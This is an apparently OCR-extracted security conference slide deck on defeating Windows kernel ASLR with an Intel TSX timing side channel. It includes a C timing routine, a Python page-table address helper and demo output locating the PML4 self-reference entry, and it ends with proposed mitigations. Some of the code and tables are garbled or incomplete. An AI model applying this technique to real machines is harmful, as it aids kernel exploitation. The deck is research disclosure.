

Attacking Windows using
Intel TSX

[DFFSEC] WhoAmI

I'm Sina,

A Windows Internals enthusiast





This presentation a new improvement to the following articles:

KASLR is Dead: Long Live KASLR

https://gruss.cc/files/kaiser.pdf

I Know Where Your Page Lives De-Randomizing the Latest Windows 10 Kernel

https://github.com/IOActive/I-know-where-your-page-lives




Intel TSX

Intel Transactional Synchronization eXtensions (TSX) is the product name for two x86 instruction set extensions, called Hardware Lock Elision (HLE) and Restricted Transactional Memory (RTM). HLE is a set of prefixes that can be added to specific instructions.

Derived from: LazyFP: Leaking FPU Register State using Microarchitectural Side-Channels (https://arxiv.org/pdf/1806.07480.pdf)



Intel's Transactional Synchronization Extensions





Hardware Lock Elision

VS

Restricted Transactional Memory



-[Introducing to]-

Hardware Lock Elision

lock elision is a general concept that can be implemented in different ways

•

e.g XACQUIRE and XRELEASE Prefixes in Intel Processors



-[Introducing to]-

Restricted Transactional Memory (RTM)

Introducing new instructions:

XBEGIN, XEND, XABORT & XTEST

Somehow like try/catch when it comes to programming.

It's all about atomicity.



What is OoO?


It's one of three components of **out-of-order execution**, also known as **dynamic execution**.

Along with multiple **branch prediction** (used to predict the instructions most likely to be needed in the near future) and **dataflow analysis** (used to align instructions for optimal execution, as opposed to executing them in the order they came in), **speculative execution** delivered a dramatic performance improvement over previous Intel processors.



IA32 & IA32e Paging

Intel Paging in IA32-e Mode and it's submodes



Paging Attr. Overview

6 6 6 6 5 5 5 5 3 2 1 0 9 8 7 6	5 5 5 5 5 5 6 1 5 1 5 1 5 1 5 1 5 1 5 1	M-1 3	3 3 2 2 2 2 2 2 2 2 2 2 1 0 9 8 7 6 5 4 3 2 1	2 1 1 1 1 1 1 1 0 9 8 7 6 5 4 3	1 1 1 2 1 0 9	8 7 6	5 5	4 3	2 1	0	
lgnored ²			Address of page-directory-pointer table			Ignored			CR3		
Reserved ³		Address of page directory		lgn.	Rsvd.		P P C W D T	Rs vd	1	PDPTE: present	
Ignored										0	PDTPE: not present
X D 4	Reserved	21	Address of MB page frame	Reserved	P A Ign. T	G 1	Α	P P C W D T	u R /S W	1	PDE: 2MB page
X D	Reserved	Address of page table			lgn.	0	J g A	P P C W D T	u R /S W	1	PDE: page table
Ignored										<u>0</u>	PDE: not present
X D	Reserved	Address of 4KB page frame					P P C W D T	u R /S W	1	PTE: 4KB page	
Ignored								<u>0</u>	PTE: not present		

Figure 4-7. Formats of CR3 and Paging-Structure Entries with PAE Paging

NOTES:

- 1. M is an abbreviation for MAXPHYADDR.
- 2. CR3 has 64 bits only on processors supporting the Intel-64 architecture. These bits are ignored with PAE paging.
- 3. Reserved fields must be 0.
- 4. If IA32_EFER.NXE = 0 and the P flag of a PDE or a PTE is 1, the XD flag (bit 63) is reserved.


Let's see some examples

Pictures From:


https://www.secureauth.com/blog/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-2-windows

Example

Using the self-ref entry located at the PML4 position number 0 (zero):



Using the self-ref entry located at the PML4 position number 0x1FF (511):



Ok, but

What was the Windows Plan for self-referential entries?





Windows Self-Ref Entries

• Only one PML4 entry is used for Paging management (0x1ED).

• Entry 0x1ED is self-referential or the physical address points to PML4 physical address

Self-Ref of Death Attack

0x000 U 0x000 U **Self-Ref of Death** 0x000 U 0x1FF U 0x1FF U **PDPT** PD S 0x1ED 0x000 0x000 S S S 0x1FF PML4 0x1FF S 0x1FF S

JFFSEC www.offsec.ir

PDPT

0x000

0x1FF

0x000

0x1FF

PT

PD

PT


U

U

S

S

Self-Ref of Death





Windows 10 Mitigation Improvements

David Weston, Windows Offensive Security Research (OSR) Matt Miller, Microsoft Security Response Center (MSRC)

August, 2016

This presentation is for informational purposes only. MICROSOFT MAKES NO WARRANTIES, EXPRESS OR IMPLIED, IN THIS SUMMARY.




https://www.blackhat.com/docs/us-16/materials/us-16-Weston-Windows-10-Mitigation-Improvements.pdf



Windows Kernel 64-bit ASLR Improvements

Predictable kernel address space layout has made it easier to exploit certain types of kernel vulnerabilities

64-bit kernel address space layout is now dynamic



Various address space disclosures have been fixed

- Page table self-map and PFN database are randomized
 - Dynamic value relocation fixups are used to preserve constant address references
- ✓ SIDT/SGDT kernel address disclosure is prevented when Hyper-V is enabled
 - Hypervisor traps these instructions and hides the true descriptor base from CPL>0
- ✓ GDI shared handle table no longer discloses kernel addresses

Tactic	Applies to	First shipped
Breaking exploitation techniques	Windows 10 64-bit kernel	August, 2016 (Windows 10 Anniversary Edition)



It was impressive, compared to other OSs!




```
#!/usr/bin/python
import sys
PML4\_SELF\_REF\_INDEX = 0x1ed
def get_pxe_address(address):
 entry = PML4_SELF_REF_INDEX;
result = address >> 9;
lower_boundary = (0xFFFF << 48) | (entry << 39);</pre>
result = result | lower_boundary;
result = result & upper_boundary;
return result
if (len(sys.argv) == 1):
 print "Please enter a virtual address and PML4 self ref index in hex format"
print "The PML4 self ref index is option, the static idex of 0x1ed will be used"
print "if one is not entered"
print ""
print sys.argv[0] + " 0x1000 0x1ed"
sys.exit(0)
address = int(sys.argv[1], 16)
if (len(sys.argv) > 2):
 PML4_SELF_REF_INDEX = int(sys.argv[2], 16)
```



```
pt = get_pxe_address(address)
pd = get_pxe_address(pt)
pdpt = get_pxe_address(pd)
pml4 = get_pxe_address(pdpt)
selfref = get_pxe_address(pml4)
print "Virtual Address: %s" % (hex(address))
print "Self reference index: %s" % (hex(PML4_SELF_REF_INDEX))
print "\n"
print "Page Tables"
print "Self Ref: \t%s" % (hex(selfref))
print "Pml4:\t\t%s" % (hex(pml4))
print "Pdpt:\t\t%s" % (hex(pdpt))
print "Pd:\t\t%s" % (hex(pd))
print "PT:\t\t%s" % (hex(pt))
```


Demo Time!


It's kinda heavy unsafe abuse...






```
C:\Windows\System32\cmd.exe
                                                                                                                       X
+] Measures are not consistent yet...
  Measures are not consistent yet...
Unmapped: 219.899658
Mapped: 183.594223
Potential SelfRef: FFFF904824120900
  PTE FFFF900126F26500 looks mapped! - Time: 183.935806
  PTE FFFF900126F26580 looks mapped! - Time: 184.029236
  PTE FFFF900126F26600 looks mapped! - Time: 183.776520
  PTE FFFF900126F26E80 looks mapped! - Time: 184.147018
  PTE FFFF900126F26F00 looks mapped! - Time: 183.814774
  PTE FFFF900804020100 looks mapped! - Time: 183.452896
PML4e: FFFF904824120900 - Index: 120
KNOWN UNMAPPED PTE: ffff900000000000
Real PML4 SelfRef Found: ffff904824120900
Left in Potential Array: ffff804020100800
Left in Potential Array: ffff80c060301808
Left in Potential Array: ffff8140a0502810
Left in Potential Array: ffff81c0e0703818
Left in Potential Array: ffff824120904820
Left in Potential Array: ffff82c160b05828
Left in Potential Array: ffff8341a0d06830
Left in Potential Array: ffff83c1e0f07838
Left in Potential Array: ffff844221108840
```






```
#pragma optimize( "", off )
 77
 78
       □UINT64 side channel tsx(PVOID lpAddress) {
 79
            UINT64 begin = 0;
            UINT64 difference = 0;
 80
 81
            int status = 0;
 82
 83
            unsigned int tsc_aux1 = 0;
 84
            unsigned int tsc aux2 = 0;
            begin = __rdtscp(&tsc_aux1);
 85
            if ((status = xbegin()) == XBEGIN STARTED) {
 86
 87
                // In the case of read
                *(char *)lpAddress = 0x00;
 88
                // In the case of execute
90
                // ((void(*)(void))lpAddress)();
 91
 92
 93
                difference = rdtscp(&tsc aux2) - begin;
 94
                _xend();
 95
96
            else {
 97
                difference = __rdtscp(&tsc_aux2) - begin;
98
99
            //printf("Begin: %llx\n", begin);
100
            //printf("difference: %08f\n", tsc aux2 - tsc aux1);
101
            return difference;
102
103
```

Examp e translation (TBL hit)





File Edit View Debug Window Help



Command

lkd> .formats ffff904824120900

Evaluate expression:

Hex: ffff9048`24120900 Decimal: -122835459503872

Octal: 1777774404404404404400

Chars: ...H\$...

Time: **** Invalid FILETIME

Float: low 3.16663e-017 high -1.#QNAN

Double: -1.#QNAN

Hal!HalpInterruptController

For many years, the HAL's heap in Windows has always been located at the same static kernel address:

- On 32-bit versions of Windows it was located at the address 0xffd00000
- On 64-bit versions of Windows it could be found at the address 0xffffffffffffd00000.

No longer works ! :(



But we can still map, all the memories into our user-mode apps!

Currently it works on all Intel Processors

Even the 9th generation

But, Do We Surrender ?!

Definitely No!



Mitigation

CR4.TSD

Bit	Name	Full Name	Description
0	VME	Virtual 8086 Mode Extensions	If set, enables support for the virtual interrupt flag (VIF) in virtual-8086 mode.
1	PVI	Protected-mode Virtual Interrupts	If set, enables support for the virtual interrupt flag (VIF) in protected mode.
2	TSD	Time Stamp Disable	If set, RDTSC instruction can only be executed when in ring 0, otherwise RDTSC can be used at any privilege level.
3	DE	Debugging Extensions	If set, enables debug register based breaks on I/O space access.
4	PSE	Page Size Extension	If unset, page size is 4 KiB, else page size is increased to 4 MiB If PAE is enabled or the processor is in x86-64 long mode this bit is ignored. ^[2]
5	PAE	Physical Address Extension	If set, changes page table layout to translate 32-bit virtual addresses into extended 36-bit physical addresses.
6	MCE	Machine Check Exception	If set, enables machine check interrupts to occur.


tr

Not possible through modern OSs:

*Heavy use of RDTSC and RDTSCP in user-mode applications as performance measuring Mechanism through Serialization and getting Current Clock Cycle.

*For instance CPUID + RDTSC, RDTSCP

*Used internally for Windows for Thread synchronizations and user-mode timings.



DFFSEC

Table 24-6. Definitions of Primary Processor-Based VM-Execution Controls

Bit Position(s)	Name	Description
2	Interrupt-window exiting	If this control is 1, a VM exit occurs at the beginning of any instruction if RFLAGS.IF = 1 and there are no other blocking of interrupts (see Section 24.4.2).
3 Use TSC offsetting		This control determines whether executions of RDTSC, executions of RDTSCP, and executions of RDMSR that read from the IA32_TIME_STAMP_COUNTER MSR return a value modified by the TSC offset field (see Section 24.6.5 and Section 25.3).
7	HLT exiting	This control determines whether executions of HLT cause VM exits.
9	INVLPG exiting	This determines whether executions of INVLPG cause VM exits.
10	MWAIT exiting	This control determines whether executions of MWAIT cause VM exits.
11	RDPMC exiting	This control determines whether executions of RDPMC cause VM exits.
12	RDTSC exiting	This control determines whether executions of RDTSC and RDTSCP cause VM exits.
15	load exiting	In conjunction with the CR3-target controls (see Section 24.6.7), this control determines whether executions of MOV to CR3 cause VM exits. See Section 25.1.3.
		The first processors to support the virtual-machine extensions supported only the 1-setting of this control.
16	CR3-store exiting	This control determines whether executions of MOV from CR3 cause VM exits.
		The first processors to support the virtual-machine extensions supported only the 1-setting


Hypervisor From Scratch

- Hypervisor From Scratch Part 1: Basic Concepts & Configure Testing Environment
- Hypervisor From Scratch Part 2: Entering VMX Operation
- Hypervisor From Scratch Part 3: Setting up Our First Virtual Machine
- Hypervisor From Scratch Part 4: Address Translation Using Extended Page Table (EPT)
- Hypervisor From Scratch Part 5: Setting up VMCS & Running Guest Code
- Hypervisor From Scratch Part 6: Virtualizing An Already Running System

Available at: https://rayanfam.com/tutorials/



VIRTUALIZATION BASED SECURITY WINDOWS 10



Why VBS can't stop this kinds of attack?



It's because OSs internally use RDTSC and RDTSCP.

- We can stop it because we don't need user-mode timing!
- We can modify RDTSC and RDTSCP 's result to avoid error.
- For this, we give user-mode apps clock time + 20 clk tolerance.

Disadvantages

- Because both Kernel-Mode and User-Mode cause VM-Exits
 - **♦** so it makes our system much more slower!
- Some applications may have undefined behaviours/

Questions?

Thanks